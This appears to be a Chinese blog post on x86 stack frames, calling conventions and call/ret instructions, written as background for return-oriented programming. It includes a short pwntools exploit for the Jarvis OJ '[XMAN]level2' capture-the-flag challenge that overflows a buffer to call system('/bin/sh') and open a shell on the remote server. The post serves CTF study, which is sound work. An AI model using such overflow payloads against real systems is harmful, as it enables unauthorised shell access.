ret函数相当于c语言中,ret2syscall

最新推荐文章于 2024-02-09 09:25:12 发布

weixin_39793638

最新推荐文章于 2024-02-09 09:25:12 发布

阅读量1.6k

点赞数

文章标签： ret函数相当于c语言中

8种机械键盘轴体对比

本人程序员，要买一个写代码的键盘，请问红轴和茶轴怎么选？

ROP 原理：

主函数通过__cdcall方式进行函数压栈：

PUSH PART2

PUSH PART1

主函数通过call指令完成指令转移：

call(

PUSH EIP

JUMP NEXT

)

子函数开辟堆栈空间：

PUSH ESP

MOV EBP, ESP

SUB ESP, 80H

子函数清空栈空间并返回上级函数栈空间：

LEAVE(

MOV ESP,EBP

POP EBP

)

子函数通过RET指令完成指令跳转：

RET(

POP EIP

)

具体如图所示：

例题：

Jarvis：[XMAN]level2

nc pwn2.jarvisoj.com 98781

12from pwn import *

p = remote('pwn2.jarvisoj.com',9878)

elf = ELF("./level2")

system_addr = elf.plt["system"]

# binsh_addr = elf.plt["/bin/sh"]

binsh_addr = 0x0804A024

payload = 'a'*0x8c + p32(system_addr) + 'juck' + p32(binsh_addr) # 中间的junk就是用来填充system_ret用的。

p.send(payload)

p.interactive()

p.close()

调用方式总结调用约定堆栈清除参数传递__cdcall调用者从右到左，通过堆栈传递

__stdcall函数体从右到左，通过堆栈传递

__fastcall函数体从右到左，优先使用寄存器(ECX，EDX)，然后使用堆栈

thiscall函数体this指针默认通过ECX传递，其他参数从右到左入栈

一个例子1

12void (int x, int y, int z)

{

printf("x = %d at [%X]n", x, &x);

printf("y = %d at [%X]n", y, &y);

printf("z = %d at [%X]n", z, &z);

}

int main(int argc, char *argv[])

{

foo(100, 200, 300);

return 0;

}

运行结果：1

3x = 100 at [BFE28760]

y = 200 at [BFE28764]

z = 300 at [BFE28768]

第二个例子：1

70.text:08048480

.text:08048480 ; =============== S U B R O U T I N E =======================================

.text:08048480

.text:08048480 ; Attributes: bp-based frame

.text:08048480

.text:08048480 ; int __cdecl main(int argc, const char **argv, const char **envp)

.text:08048480 public main

.text:08048480 main proc near ; DATA XREF: _start+17↑o

.text:08048480

.text:08048480 var_4 = dword ptr -4

.text:08048480 argc = dword ptr 8

.text:08048480 argv = dword ptr 0Ch

.text:08048480 envp = dword ptr 10h

.text:08048480

.text:08048480 ; __unwind {

.text:08048480 lea ecx, [esp+4]

.text:08048484 and esp, 0FFFFFFF0h

.text:08048487 push dword ptr [ecx-4]

.text:0804848A push ebp

.text:0804848B mov ebp, esp

.text:0804848D push ecx

.text:0804848E sub esp, 4

.text:08048491 call vulnerable_function

.text:08048496 sub esp, 0Ch

.text:08048499 push offset aEchoHelloWorld ; "echo 'Hello World!'"

.text:0804849E call _system

.text:080484A3 add esp, 10h

.text:080484A6 mov eax, 0

.text:080484AB mov ecx, [ebp+var_4]

.text:080484AE leave

.text:080484AF lea esp, [ecx-4]

.text:080484B2 retn

.text:080484B2 ; } // starts at 8048480

.text:080484B2 main endp

.text:080484B2

.text:080484B2 ; ---------------------------------------------------------------------------

.text:0804844B

.text:0804844B ; =============== S U B R O U T I N E =======================================

.text:0804844B

.text:0804844B ; Attributes: bp-based frame

.text:0804844B

.text:0804844B public vulnerable_function

.text:0804844B vulnerable_function proc near ; CODE XREF: main+11↓p

.text:0804844B

.text:0804844B buf = byte ptr -88h

.text:0804844B

.text:0804844B ; __unwind {

.text:0804844B push ebp; 保存上一个栈帧的基址

.text:0804844C mov ebp, esp; 设置新一个栈帧的基址

.text:0804844E sub esp, 88h; 开辟栈帧空间

.text:08048454 sub esp, 0Ch; ？？？

.text:08048457 push offset command ; "echo Input:" 压入第一个参数

.text:0804845C call _system; call指令转移 push eip; jump next

.text:08048461 add esp, 10h; 主函数清空参数

.text:08048464 sub esp, 4; ???

------------------------------------------函数调用-----------------------------------------

.text:08048467 push 100h ; nbytes压入第三个参数

.text:0804846C lea eax, [ebp+buf]; 获取buf地址

.text:08048472 push eax ; buf 压入第二个参数

.text:08048473 push 0 ; fd 压入第一个参数

.text:08048475 call _read; call指令转移 push eip; jump next

.text:0804847A add esp, 10h; 主函数清空参数正好请调四个压入栈的32位数

------------------------------------------------------------------------------------------------------------------------------------函数返回----------------------------------------

.text:0804847D nop

.text:0804847E leave; leave指令清空MOV ESP,EBP; POP EBP 返回上一个栈帧

.text:0804847F retn; POP EIP 继续主函数未完成的指令

.text:0804847F ; } // starts at 804844B

.text:0804847F vulnerable_function endp

.text:0804847F

为什么函数参数要自右向左压栈？

C程序栈底为高地址，栈顶为低地址，因此上面的实例可以说明函数参数入栈顺序的确是从右至左的。

进一步发现，C语言支持可变长参数，而C语言支持这种特色，正是这个原因使得C语言函数参数入栈顺序为从右至左。通过栈堆分析可知，自左向右的入栈方式，最前面的参数被压在栈底。除非知道参数个数，否则是无法通过栈指针的相对位移求得最左边的参数。这样就变成了左边参数的个数不确定，正好和动态参数个数的方向相反。 (如果是从右往左进栈，根据栈后进先出的特性，靠左的参数离栈顶越近，在进入新函数栈帧后，EBP+8位函数的第一次个参数，EBP+12位函数的第二个参数)

__stdcall与C调用约定(__cdecl)的区别

C调用约定在返回前,要作一次堆栈平衡,也就是参数入栈了多少字节,就要弹出来多少字节.这样很安全.

有一点需要注意:stdcall调用约定如果采用了不定参数,即VARARG的话,则和C调用约定一样,要由调用者来作堆栈平衡.__stdcall是Pascal方式清理C方式压栈，通常用于Win32 Api中，函数采用从右到左的压栈方式，自己在退出时清空堆栈。VC将函数编译后会在函数名前面加上下划线前缀，[email protected] int f(void *p) –>> [email protected](在外部汇编语言里可以用这个名字引用这个函数)

在WIN32 API中,只有少数几个函数,如wspintf函数是采用C调用约定,其他都是stdcallC调用约定(即用__cdecl关键字说明)(The C default calling convention)按从右至左的顺序压参数入栈，由调用者把参数弹出栈。对于传送参数的内存栈是由调用者来维护的(正因为如此，实现可变参数vararg的函数(如printf)只能使用该调用约定)。另外，在函数名修饰约定方面也有所不同。 _cdecl是C和C＋＋程序的缺省调用方式。每一个调用它的函数都包含清空堆栈的代码，所以产生的可执行文件大小会比调用_stdcall函数的大。函数采用从右到左的压栈方式。VC将函数编译后会在函数名前面加上下划线前缀。

__fastcall调用的主要特点就是快，因为它是通过寄存器来传送参数的(实际上，它用ECX和EDX传送前两个双字(DWORD)或更小的参数，剩下的参数仍旧自右向左压栈传送，被调用的函数在返回前清理传送参数的内存栈)，在函数名修饰约定方面，它和前两者均不同。__fastcall方式的函数采用寄存器传递参数，[email protected]，[email protected]

thiscall仅仅应用于”C++”成员函数。this指针存放于CX/ECX寄存器中，参数从右到左压。thiscall不是关键词，因此不能被程序员指定。

naked call。当采用1-4的调用约定时，如果必要的话，进入函数时编译器会产生代码来保存ESI，EDI，EBX，EBP寄存器，退出函数时则产生代码恢复这些寄存器的内容。 (这些代码称作 prolog and epilog code,一般，ebp,esp的保存是必须的). 但是naked call不产生这样的代码。naked call不是类型修饰符，故必须和_declspec共同使用。

关键字 stdcall、cdecl和fastcall可以直接加在要输出的函数前。它们对应的命令行参数分别为/Gz、/Gd和/Gr。缺省状态为/Gd，即cdecl。

要完全模仿PASCAL调用约定首先必须使用stdcall调用约定，至于函数名修饰约定，可以通过其它方法模仿。还有一个值得一提的是WINAPI宏，Windows.h支持该宏，它可以将出函数翻译成适当的调用约定，在WIN32中，它被定义为stdcall。使用WINAPI宏可以创建自己的APIs。call、ret指令，本质上还是汇编『跳转指令』，它们都用于修改IP，或同时修改CS和IP；这两个指令经常被用来实现子程序的设计

ret指令和retf指令

ret指令用栈中的数据，修改IP的内容，从而实现近转移

retf指令用栈的数据，修改CS和IP的内容，从而实现远转移

CPU执行ret指令时，相当于进行：1pop IP

CPU执行retf指令时，相当于进行：1

2pop IP

pop CS

call指令

当执行call指令时，进行两步操作：将当前的IP或CS和IP压入栈中

转移

call指令不能实现短转移，它的书写格式同jmp指令

依据标号进行转移的call指令1